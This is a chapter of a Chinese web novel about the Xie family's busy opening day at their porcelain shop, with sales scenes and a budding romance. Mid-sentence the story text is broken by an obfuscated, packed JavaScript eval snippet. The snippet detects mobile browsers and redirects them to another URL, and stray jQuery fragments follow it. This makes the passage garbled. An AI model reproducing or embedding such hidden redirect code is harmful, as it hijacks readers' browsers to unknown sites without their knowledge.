天还没亮,谢烈雨就挨个把谢家人都叫醒,吃了一记三叔的无影腿和阿爹的爆头栗,给谢小妹扎了个歪得人神共愤的意识流发髻,又差点把性子温吞的谢二哥给催出了火气……总算凑齐了紧张又期待的一家人,赶着一辆驴车,就着蒙亮的微光出发。
一行人在半路遇上了同样摸黑出发的唐娘子与何端母子俩。
相遇的面孔洋溢着心照不宣的喜气,偶尔遇到相熟的乡邻,腼腆的谢家人端着一张憨厚的笑脸,把这场盛大的喜事浓缩成朴实无华的“卖瓷”两字,反倒是唐娘子,见人就笑开了花,直言‘自家侄女’在城里买了铺面,今儿开业,一句迭一句地招呼大伙去凑热闹。
她开心的模样有十足的感染力,很快就人传人地先传到谢烈雨这,他也逐渐放开手脚,逢人便说自家妹子在城中开店,后来也不再光挑认识的‘下手’,见到个人就起“我家妹子”的头……
谢小妹觉得三哥这行为多少有点丢人,但每次他说到“妹子”俩字,小妹的脸就跟烛火似的闪一下,骄傲地昂头鼓脸,与有荣焉,忙了一路,脸颊都给鼓得酸溜溜了。
相比之下,负责赶驴的谢二哥与谢家两位长辈就显得稳重多了。
尤其两位长辈,他们多数时候只是矜持地表示:家里孩子闹腾,闲不住,非得到城里开店,没怎么管,店就准备开业了,正好有空去看看,年轻人没个轻重,也不知店给捣鼓成甚个样子……
过于克制的发言,映衬着二位脸上并不互相搭配的张扬喜色,硬生生糅合出一种让人牙痒的洪荒之力来。
谢小妹因此扭转认知——三哥的行为还蛮可爱的。
当大部队‘敲锣打鼓’广而告之地向天枢斋进发时,昨夜守在铺子里的谢掌柜与两位伙计也天不亮就起来了,号牌限制了入店的人次,在王蔺辰的省钱提议下,谢织星决定尝试‘店伙计’角色,为客人讲解新品的画片纹饰。
清晨的第一缕阳光如约落在天枢斋的牌匾上。
谢织星补绘的金漆星辰派头大得很,把高悬的阳光尽数招揽入彀,指点它们发出刺目的金芒,来来往往的行人被那金芒晃了眼,不由地停下来驻足观望,只见陆陆续续有客进店,手里不约而同地攥了一块小木牌。
好事儿的便上前询问:“敢问这店里头卖的是什么?为何要带着块木牌子进去?”
门口站着个人高马大的青年,笑容憨厚道:“卖的是瓷器,今儿刚开业,瓷器易碎,这不是怕开业人多,不小心给碰碎就可惜了,只好连累大伙儿耐心等等,客官若是感兴趣,可在我这领取木牌去排队,用不着等很久,很快就能轮到。”
说话间,一个客人抱着一摞瓷盘昂首阔步地走了出来,同那询问的人说道:“老兄,我这木牌给你,‘子时二十五号’,下一波头轮就能到你。”
“多谢多谢,”那人接过木牌,指了指他怀里的一摞瓷盘,“老兄可否让我看看这些瓷盘?”
客人犹豫了片刻,竟是没同意:“对不住了,这门口人多手杂的,我怕新盘子给磕个角,要是碰坏了,挨家里婆娘骂呢。里头瓷器都好看得很,店掌柜说了,架子上摆的都是样品,都给看,回头你自个儿进店看。”
说完,抱着包装严实的一摞瓷盘扬长而去。
一种“这等好事儿怎么没优先轮到我”的可惜浮上来人的面颊,他赶忙带着木牌去寻队尾,却又发现这队伍末端竟支着三个字摊,听四周围人七嘴八舌地一说,原来这字摊边写字的人都是铺子掌柜特意去青禾书院请来的书生,大伙可凭木牌约写一封家书,限一页纸。
这可真不赖!
平日里写一封家书至少要十几文钱,虽说老百姓识字的不多,但也只有这样的办法才能把远方家人的消息传递回去,请人写家书时要付钱,家人收到家书后又还得付钱找人读来听……如今,一块木牌就能省下十几文,何乐不为?
尚未进店的客人马上约写了一封家书,转头又见一簇小女孩儿扎堆凑在角落,他探头过去一瞧——
转角处窝着个小绣摊,孩童们稚嫩细瘦的指间攥着颜色不一的未成形小荷包,排着队的成年人时不时看去一眼,确认自家孩子安全的同时,又露出温柔恬静的笑意。
这大约是字摊的另一种形式——女孩们的脖子上都挂着一块小木牌,凭牌领取针线。
等待的功夫,店里不断有客人一脸喜色地走出来,大部分都抱着一摞瓷盘或瓷碗,排队的众人左等右等,总算等到了一位大方的客人,蹲在铺子门口就把草绳解开来,只见每个盘子中间都叠了一层干燥的稻草,包装得格外用心。
那一个个盘子也做得十分精美,又光又亮又润,花纹清晰,口沿处还包了一圈精细服帖的银边!
嗬,从没见过,但真好看啊。
买了银边瓷盘的客人十分骄傲,“这是我们家主特意嘱咐我来买的,大伙儿可仔细些,诶,拿稳了看……这套瓷叫‘万花不落地’,瞧见没,满盘满底儿的都是花,印的,清楚呢,这花瓣儿、花蕊子都清清楚楚……多少钱?嘿,好几贯一套呢,咱家主喜欢,就得要这个。”
站在门口的高壮青年很有眼力见地补充说:“也有不包银边的,不到一贯钱就能买一套,共九件,足够一家人使用,还有盘子小点儿的,更实惠……总之便宜的贵的咱都有,大伙儿等会儿进店多逛逛看看,买自己喜欢的就是。”
不远处绣荷包的谢小妹转过头来,觉得他们家三哥越发顺眼了。
而此时此刻的铺子里,‘伙计们’的嗓子正在冒烟。
推出来的新品得到了大伙十二万分的热情捧场,实际上根本做不到每一轮接待十余人次,大家争着要快些进店看看,好在这铺面够大,单次容纳二十多人也勉强能顾得过来。
王蔺辰忙得像陀螺,他一边要洋洋洒洒地向顾客介绍产品,又同时搭着一只眼睛在谢织星身上,每每发现她站在那有点卡壳的趋势,便丝滑地把自己转悠到她身侧,接过话头的同时又把介绍瓷器的专业性内容留给她发挥。
脑袋和身体都处于高速运转模式,等到拿着“卯字”号牌的客人陆续进店时,他已经嗓音沙哑。
谢织星偷着空也转到他身边,递过去一块小小的饴糖:“含着吃,润润嗓子。”
他立刻把糖扔进嘴里,低头朝她笑,“真甜。”
谢织星装作没听懂,红着耳朵睨过去一眼,“不仅甜,还很黏牙,你最好别让那块糖碰到你的牙齿。”
话说晚了。
王蔺辰立刻尝试磨动后槽牙,气闷地发现他几乎张不开嘴,好端端的牙就这么瞬间倒戈,被一块饴糖的糖衣炮弹给轰成了一锅冻粥。
谢织星看他的表情就知道发生了什么事,啼笑皆非,正逢客人询问万花不落地,她迎头赶上:“这是模印万花的瓷盘,‘不落地’说的是万花为饰,不留出丝毫缝隙的意思,你看……这些花之间层层叠叠,互相挨着连成一片,有繁盛年年、花开不败的含义。”
说完她就站着等了。
王蔺辰看着她,心中好笑,又在目光里倾注了绵绵不绝的柔软情意。
她惯来如此,总把“介绍瓷器”视作唯一的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023233|182999||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分内事,从不话赶话地递进上去,销售风格就是这么一副不缺钱也不着急卖东西的样子,仿佛有无尽的耐心等待客人做决定,又或者她有绝对的信心等着客人选择她的产品。
千奇百怪的客人怎么想,王蔺辰无力穷尽,但他是一次又一次地被她勾着了——
嗯,姜太公钓鱼的同款钩子,反复咬。
后槽牙与饴糖的勾结仍在持续,王蔺辰挨着谢织星站立,表现得像个谨守口德的花瓶,他对她的‘销售模式’不做任何提醒与指正,只是时不时拿一种盛满温柔笑意的眸光笼罩她。
饴糖逐渐融化,丝丝缕缕的甜意沿着喉管一路浸润到心肺,像一把蓬松绵软的毛刷,把身体里的每个褶皱都伺候得舒畅怡然。
王蔺辰甚至觉得,在眼下这段等待饴糖融化的时间里,他莫名生出一股仿佛能够战胜人世间所有困苦的勇气。
仅仅是仿佛。
因为忽然窜到眼跟前的这个小困难他就没法解——身穿青色圆领长袍的男子正举着一个水丞向他询问,“请问这里面是何种式样的花纹?看起来颇有新意。”
‘虎落平阳’的王小郎君轻轻拽了拽身侧某人的衣角,谢织星侧过头只瞥了一眼,就开始滔滔不绝地说道:“这画片取名叫做‘小雅’,以竹刀刻划池塘水草与花鸟虫鱼,意境清新自然,雅趣以外亦伴有生趣、野趣,故而取名‘小雅’。”
《诗经·小雅》的篇章中收录了更为丰富的内容,既有贵族的宴饮之乐,又有怨刺朝政的尖锐,同时也不乏平头百姓的忧思苦楚。
池塘水草掩映下,那千姿百态的花鸟虫鱼,便是这样一种揉杂的世界。
然而,实际上,这是谢织星把盛行于元代的“满池娇”纹饰给做了些许修改,传统的“满池娇”纹饰画的也是池塘小景,通常有荷花、莲蓬、鸳鸯、水草等元素,寓意幸福美满、爱情永恒,且画面往往比较繁密。
谢织星把它做了简化,以游鸭游鱼或飞鸟搭配水草,点缀上几颗小虫,再陪衬一支将谢未谢的半枯荷花,寥寥几笔就成了一幅宋代文人审美点上的“花鸟小品”。
毕竟,风雅宋。
果不其然,谢织星话音方落,那问话的客人便买下水丞。
人们总是愿意为倾注在产品里的真心诚意买单。
谢二哥与何端驻扎在通向后院的小门边,各自据守一张小长桌,对照着提早做好的货目清单核算价格并清点客人支付的货款,完事儿后再指引客人到院子里现场打包,打包‘伙计’正是谢正晌兄弟俩。
他们二人在揽下这个不必面对顾客也不必面对算盘的‘轻松小活’时,从未想过这居然是今日铺子里最惨绝人寰的活,难怪当时那几个娃儿露出满脸的崇敬之色。
竟是他们这两个岁数最大的‘过来人’着了‘不谙世事’的道。
揉着酸痛的两根老腰,老谢兄弟俩借着半开的门缝看向人来人往的铺子——
大哥、小四与辰哥儿正陀螺似的在人群中转悠,脚底冒烟,神色却是游刃有余;再往外,是守门收派木牌的三哥,他不知什么时候又长高了些,站在门边浑似个门神,以及隐约传来的小妹清脆高亮的笑声……
在老窑炉残喘着告别他们的那一刻,谁又能想到,半年多的时间便有了眼前这般的光景。
新老更迭,好似是刮骨疗伤,于枯朽的血肉中挖凿出一条蓬勃的血脉,而后便只能眼睁睁看着那条血脉茁壮地奔涌,呼啸,挣破,毫不留情地撕扯下一副行将就木的老朽躯壳。
真是残暴又引人目眩神迷的新生。